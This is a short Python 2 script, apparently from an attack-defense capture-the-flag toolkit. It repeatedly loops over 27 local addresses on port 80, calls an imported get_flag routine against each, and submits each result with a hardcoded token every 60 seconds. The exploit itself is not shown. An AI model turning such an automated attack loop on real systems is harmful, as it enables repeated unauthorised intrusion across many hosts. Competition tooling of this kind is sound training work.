#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
exploit 为单个攻击测试
main 为单进程同时攻击
'''
import time

from core.exploit.submit_flag import *
from core.exploit.get_flag import *

token = "DqSXgARhK0brh2im8plcH4EdvluS2KmW8MpJCb0oeWQJoSYBrnLLdDtqzAbd78nAbZP9wFBjFEb"

def exploit(host, port):
    print "[+] Exploiting : [%s:%s]" % (host, port)
    flag = get_flag(host, port)
    submit_flag(flag, token)

def exploit_all():
    port = 80
    hosts = []
    for host in range(1,27 + 1):
        hosts.append("127.0.0.%d" % (host))
    for host in hosts:
        exploit(host, port)

def main():
    while True:
        exploit_all()
        time.sleep(60)

if __name__ == "__main__":
    main()
